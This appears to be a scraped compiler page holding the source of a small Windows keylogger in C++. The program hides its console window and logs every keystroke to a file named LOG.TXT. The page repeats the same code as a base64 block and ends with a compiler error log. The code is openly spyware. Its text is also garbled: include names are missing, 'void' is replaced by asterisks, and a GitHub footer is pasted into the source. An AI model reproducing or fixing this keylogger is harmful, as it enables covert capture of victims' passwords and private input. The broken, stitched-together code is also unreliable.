#include
using namespace std;
#include
#include
int Save (int key_stroke, char *file);
**** Stealth();
int main()
{
Stealth();
char i;
while(1)
{
for(i=8 ; i<=190 ; i++)
{
if(GetAsyncKeyState(i)== -32767)
Save(i,"LOG.TXT");
}
}
system("PAUSE");
return 0;
}
int Save (int key_stroke, char *file) {
if((key_stroke==1) || (key_stroke==2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE=fopen(file, "a+");
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose(OUTPUT_FILE);
cout<
if (key_stroke==8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
return 0;
}
**** Stealth()
{
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth,0);
}
Status API Training Shop Blog About
© 2016 GitHub, Inc. Terms Privacy Security Contact Help
I+KAjmluY2x1ZGXigKwgCnVzaW5nIG5hbWVzcGFjZSBzdGQ7CiNpbmNsdWRlIAojaW5jbHVkZSAKaW50IFNhdmUgKGludCBrZXlfc3Ryb2tlLCBjaGFyICpmaWxlKTsKKioqKiBTdGVhbHRoKCk7CmludCBtYWluKCkKewpTdGVhbHRoKCk7CmNoYXIgaTsKd2hpbGUoMSkKewpmb3IoaT04IDsgaTw9MTkwIDsgaSsrKQp7CmlmKEdldEFzeW5jS2V5U3RhdGUoaSk9PSAtMzI3NjcpClNhdmUoaSwiTE9HLlRYVCIpOwp9Cn0Kc3lzdGVtKCJQQVVTRSIpOwpyZXR1cm4gMDsKfQppbnQgU2F2ZSAoaW50IGtleV9zdHJva2UsIGNoYXIgKmZpbGUpIHsKaWYoKGtleV9zdHJva2U9PTEpIHx8IChrZXlfc3Ryb2tlPT0yKSApCnJldHVybiAwOwpGSUxFICpPVVRQVVRfRklMRTsKT1VUUFVUX0ZJTEU9Zm9wZW4oZmlsZSwgImErIik7CmZwcmludGYoT1VUUFVUX0ZJTEUsICIlcyIsICZrZXlfc3Ryb2tlKTsKZmNsb3NlKE9VVFBVVF9GSUxFKTsKY291dDwKaWYgKGtleV9zdHJva2U9PTgpCmZwcmludGYoT1VUUFVUX0ZJTEUsICIlcyIsICJbQkFDS1NQQUNFXSIpOwpyZXR1cm4gMDsKfQoqKioqIFN0ZWFsdGgoKQp7CkhXTkQgc3RlYWx0aDsKQWxsb2NDb25zb2xlKCk7CnN0ZWFsdGggPSBGaW5kV2luZG93QSgiQ29uc29sZVdpbmRvd0NsYXNzIiwgTlVMTCk7ClNob3dXaW5kb3coc3RlYWx0aCwwKTsKfQoKICAgIFN0YXR1cyBBUEkgVHJhaW5pbmcgU2hvcCBCbG9nIEFib3V0IAoKICAgIMKpIDIwMTYgR2l0SHViLCBJbmMuIFRlcm1zIFByaXZhY3kgU2VjdXJpdHkgQ29udGFjdCBIZWxwIAoK
prog.cpp:1:2: error: invalid preprocessing directive
#<U+200E>include<U+202C>
^
prog.cpp:3:10: error: expected "FILENAME" or <FILENAME>
#include
^
prog.cpp:4:10: error: expected "FILENAME" or <FILENAME>
#include
^
prog.cpp:2:17: warning: using directive refers to implicitly-defined namespace 'std'
using namespace std;
^
prog.cpp:6:6: error: C++ requires a type specifier for all declarations
**** Stealth();
^
prog.cpp:15:4: error: use of undeclared identifier 'GetAsyncKeyState'
if(GetAsyncKeyState(i)== -32767)
^
prog.cpp:16:8: warning: conversion from string literal to 'char *' is deprecated [-Wc++11-compat-deprecated-writable-strings]
Save(i,"LOG.TXT");
^
prog.cpp:19:1: error: use of undeclared identifier 'system'
system("PAUSE");
^
prog.cpp:13:12: warning: comparison of constant 190 with expression of type 'char' is always true [-Wtautological-constant-out-of-range-compare]
for(i=8 ; i<=190 ; i++)
~^ ~~~
prog.cpp:25:1: error: unknown type name 'FILE'
FILE *OUTPUT_FILE;
^
prog.cpp:26:13: error: use of undeclared identifier 'fopen'
OUTPUT_FILE=fopen(file, "a+");
^
prog.cpp:29:1: error: use of undeclared identifier 'cout'
cout<
^
prog.cpp:30:1: error: expected expression
if (key_stroke==8)
^
prog.cpp:34:6: error: C++ requires a type specifier for all declarations
**** Stealth()
^
prog.cpp:36:1: error: unknown type name 'HWND'
HWND stealth;
^
prog.cpp:37:1: error: use of undeclared identifier 'AllocConsole'
AllocConsole();
^
prog.cpp:38:45: error: use of undeclared identifier 'NULL'
stealth = FindWindowA("ConsoleWindowClass", NULL);
^
prog.cpp:42:5: error: unknown type name 'Status'
Status API Training Shop Blog About
^
prog.cpp:42:15: error: expected ';' after top level declarator
Status API Training Shop Blog About
^
;
prog.cpp:44:5: error: non-ASCII characters are not allowed outside of literals and identifiers
© 2016 GitHub, Inc. Terms Privacy Security Contact Help
^~
3 warnings and 17 errors generated.